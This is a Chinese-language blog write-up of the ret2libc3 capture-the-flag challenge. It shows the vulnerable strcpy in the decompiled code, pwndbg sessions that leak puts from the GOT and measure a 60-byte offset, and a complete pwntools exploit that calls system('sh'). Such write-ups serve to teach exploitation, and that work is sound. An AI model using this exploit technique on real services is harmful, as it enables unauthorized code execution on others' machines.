博客网址:www.shicoder.top
微信:kj11011029
欢迎加群聊天 :452380935
这一次我们来对更难的栈溢出ret2libc3
进行讲解
首先还是使用checksec
检查下
[*] '/home/pwn/桌面/题目/ROP/ret2libc3/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
同样是栈不可执行,前面的ret2libc
的思路大家也都知道,其实就是找到system
和bin/sh
,那么这里也一眼,但是我们从IDA
中看到,没有system
函数,
int __cdecl main(int argc, const char **argv, const char **envp)
{
char **v3; // ST04_4
int v4; // ST08_4
char src; // [esp+12h] [ebp-10Eh]
char buf; // [esp+112h] [ebp-Eh]
int v8; // [esp+11Ch] [ebp-4h]
puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
puts("What do you want to see in memory?");
printf("Give me an address (in dec) :");
fflush(stdout);
read(0, &buf, 0xAu);
v8 = strtol(&buf, v3, v4);
See_something(v8);
printf("Leave some message for me :");
fflush(stdout);
read(0, &src, 0x100u);
Print_message(&src);
puts("Thanks you ~");
return 0;
}
int __cdecl Print_message(char *src)
{
char dest; // [esp+10h] [ebp-38h]
// 漏洞处,dest的大小和src大小不一致
strcpy(&dest, src);
return printf("Your message is : %s", &dest);
}
那这怎么办,不慌,我们可以看到它提供给我们一个so
文件。那就是我们最复杂的栈溢出漏洞,借助so
文件进行system
函数地址寻找,这里要有一点gotplt
的知识,具体的讲解如下地址。首先我们要知道的是,在so
文件中,假如我们在程序中的got
中找到的puts
函数地址为a
,其对应的so
文件地址为b
,同时我们知道so
文件中,system
的地址为c
,那么我们就可以找到system
在got
中的地址为x-a=c-b
,x=c-b+a
而got
中的地址所指向的值就是so
文件中的函数具体地址,因此我们使用提供的See_something
函数得到,下面具体来说下如何gdb
首先是在read(0, &buf, 0xAu);
下断点,那怎么下断点呢,我们要知道这一行的地址,选中main函数代码->右键->copy to assembly
。得到如下代码
.text:080485D2 ; 14: read(0, &buf, 0xAu);
.text:080485D2 mov dword ptr [esp+8], 0Ah ; base
.text:080485DA lea eax, [esp+120h+buf]
.text:080485E1 mov [esp+4], eax ; endptr
.text:080485E5 mov dword ptr [esp], 0 ; fd
.text:080485EC call _read
于是下断点b *0x080485d2
Breakpoint 1 at 0x80485d2
pwndbg> r
Starting program: /home/pwn/桌面/题目/ROP/ret2libc3/ret2libc3
###############################
Do you know return to library ?
###############################
What do you want to see in memory?
Give me an address (in dec) :
Breakpoint 1, 0x080485d2 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────────
EAX 0x0
EBX 0x0
ECX 0xffffffff
EDX 0xffffffff
EDI 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
ESI 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
EBP 0xffffd148 ◂— 0x0
ESP 0xffffd020 —▸ 0xf7fb5d20 (_IO_2_1_stdout_) ◂— 0xfbad2a84
EIP 0x80485d2 (main+85) ◂— mov dword ptr [esp + 8], 0xa
───────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
► 0x80485d2 <main+85> mov dword ptr [esp + 8], 0xa
0x80485da <main+93> lea eax, [esp + 0x112]
0x80485e1 <main+100> mov dword ptr [esp + 4], eax
0x80485e5 <main+104> mov dword ptr [esp], 0
0x80485ec <main+111> call read@plt <read@plt>
0x80485f1 <main+116> lea eax, [esp + 0x112]
0x80485f8 <main+123> mov dword ptr [esp], eax
0x80485fb <main+126> call strtol@plt <strtol@plt>
0x8048600 <main+131> mov dword ptr [esp + 0x11c], eax
0x8048607 <main+138> mov eax, dword ptr [esp + 0x11c]
0x804860e <main+145> mov dword ptr [esp], eax
───────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd020 —▸ 0xf7fb5d20 (_IO_2_1_stdout_) ◂— 0xfbad2a84
01:0004│ 0xffffd024 —▸ 0xffffd070 ◂— 0x0
02:0008│ 0xffffd028 ◂— 0x3
03:000c│ 0xffffd02c ◂— 0x0
04:0010│ 0xffffd030 —▸ 0xf7ffd000 ◂— 0x2bf24
05:0014│ 0xffffd034 —▸ 0xf7ddc76c ◂— 0x72647800
06:0018│ 0xffffd038 —▸ 0xf7dd290c ◂— 0x0
07:001c│ 0xffffd03c —▸ 0x80482c7 ◂— pop edi /* '__libc_start_main' */
─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────
► f 0 80485d2 main+85
f 1 f7de9ee5 __libc_start_main+245
此时我们看下got
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 8
[0x804a00c] read@GLIBC_2.0 -> 0x80483b6 (read@plt+6) ◂— push 0 /* 'h' */
[0x804a010] printf@GLIBC_2.0 -> 0xf7e1f340 (printf) ◂— endbr32
[0x804a014] fflush@GLIBC_2.0 -> 0xf7e3aad0 (fflush) ◂— endbr32
[0x804a018] strcpy@GLIBC_2.0 -> 0x80483e6 (strcpy@plt+6) ◂— push 0x18
[0x804a01c] puts@GLIBC_2.0 -> 0xf7e3ccd0 (puts) ◂— endbr32
[0x804a020] __gmon_start__ -> 0x8048406 (__gmon_start__@plt+6) ◂— push 0x28 /* 'h(' */
[0x804a024] __libc_start_main@GLIBC_2.0 -> 0xf7de9df0 (__libc_start_main) ◂— endbr32
[0x804a028] strtol@GLIBC_2.0 -> 0x8048426 (strtol@plt+6) ◂— push 0x38 /* 'h8' */
可以看到0xf
开头的是已经被地址计算后的,但具体的值每一次都不一样,因为会地址随机化,0x8
开头的是还没有使用过该函数,因此地址还没计算出来
我们首先是要给程序一个地址,然后让他给我们该地址对应的地方的值,因此我们给他puts@got
的地址0x804a01c
,但是程序使用了strtol(&buf, v3, v4)
,因此我们要转换成10进制134520860
,然后一路执行完see_something
,结果如下
The content of the address : 0xf7e3ccd0
所以得出以下表
puts_libc_address
:0xf7e3ccd0system_libc_symbols
:通过分析libc文件获得puts_libc_symbols
:通过分析libc文件获得
因此就可以得到system_libc_address
接下来就是栈溢出的环节,计算要偏移多远,我们下断点在print_message
,然后输入值
pwndbg> b Print_message
Breakpoint 1 at 0x8048556
pwndbg> r
Starting program: /home/pwn/桌面/题目/ROP/ret2libc3/ret2libc3
###############################
Do you know return to library ?
###############################
What do you want to see in memory?
Give me an address (in dec) :134520860
The content of the address : 0xf7e3ccd0
Leave some message for me :AAAAAAAA
注意我们的栈溢出发生在strcpy
,因此需要执行过这句
──────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
0x8048556 <Print_message+6> mov eax, dword ptr [ebp + 8]
0x8048559 <Print_message+9> mov dword ptr [esp + 4], eax
0x804855d <Print_message+13> lea eax, [ebp - 0x38]
0x8048560 <Print_message+16> mov dword ptr [esp], eax
0x8048563 <Print_message+19> call strcpy@plt <strcpy@plt>
► 0x8048568 <Print_message+24> lea eax, [ebp - 0x38]
0x804856b <Print_message+27> mov dword ptr [esp + 4], eax
0x804856f <Print_message+31> mov dword ptr [esp], 0x8048721
0x8048576 <Print_message+38> call printf@plt <printf@plt>
0x804857b <Print_message+43> leave
0x804857c <Print_message+44> ret
此时的栈为
pwndbg> stack 35
00:0000│ esp 0xffffcfd0 —▸ 0xffffcfe0 ◂— 0x41414141 ('AAAA')
01:0004│ 0xffffcfd4 —▸ 0xffffd032 ◂— 0x41414141 ('AAAA')
02:0008│ 0xffffcfd8 —▸ 0xffffd018 —▸ 0xffffd148 ◂— 0x0
03:000c│ 0xffffcfdc —▸ 0xf7e3ab54 (fflush+132) ◂— add esp, 0x10
04:0010│ eax 0xffffcfe0 ◂— 0x41414141 ('AAAA')
... ↓
06:0018│ 0xffffcfe8 ◂— 0x82c7f70a
07:001c│ 0xffffcfec ◂— 0xbedc0804
08:0020│ 0xffffcff0 ◂— 0x4e2ef7dd
09:0024│ 0xffffcff4 ◂— 0xd070f63d
0a:0028│ 0xffffcff8 ◂— 0xea71ffff
0b:002c│ edx-2 0xffffcffc ◂— 0xd10407b1
0c:0030│ 0xffffd000 ◂— 0xb3e0ffff
0d:0034│ 0xffffd004 ◂— 0x800f7fc
0e:0038│ 0xffffd008 —▸ 0xffffd024 —▸ 0xffffd032 ◂— 0x41414141 ('AAAA')
0f:003c│ 0xffffd00c ◂— 0x0
10:0040│ 0xffffd010 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
11:0044│ 0xffffd014 ◂— 0x0
12:0048│ ebp 0xffffd018 —▸ 0xffffd148 ◂— 0x0
13:004c│ 0xffffd01c —▸ 0x8048657 (main+218) ◂— mov dword ptr [esp], 0x80487d5
14:0050│ 0xffffd020 —▸ 0xffffd032 ◂— 0x41414141 ('AAAA')
因此溢出的距离为0xffffd01c
-0xffffcfe0
=60
,sh
的地址为
>>> from pwn import *
>>> elf = ELF('./ret2libc3')
[*] '/home/pwn/桌面/题目/ROP/ret2libc3/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
>>> next(elf.search(b"sh"))
134513310
那么最终的exp.py
如下
from pwn import *
elf = ELF("./ret2libc3")
r = process("./ret2libc3")
libc3 = ELF("/lib/i386-linux-gnu/libc.so.6")
r.recvuntil("Give me an address (in dec) :")
puts_gots_address = elf.got["puts"]
r.sendline(str(puts_gots_address))
s = r.recv()
puts_libc_address = int(s.decode("utf-8").split("The content of the address : ")[1].split("\n")[0],16)
offset_libc_address = libc3.symbols["system"]-libc3.symbols["puts"]
system_libc_address = puts_libc_address + offset_libc_address
offset = 60
shellcode = flat(offset*'A',system_libc_address,0xdeadbeef,next(elf.search(b"sh")))
r.sendline(shellcode)
r.interactive()
评论 (0)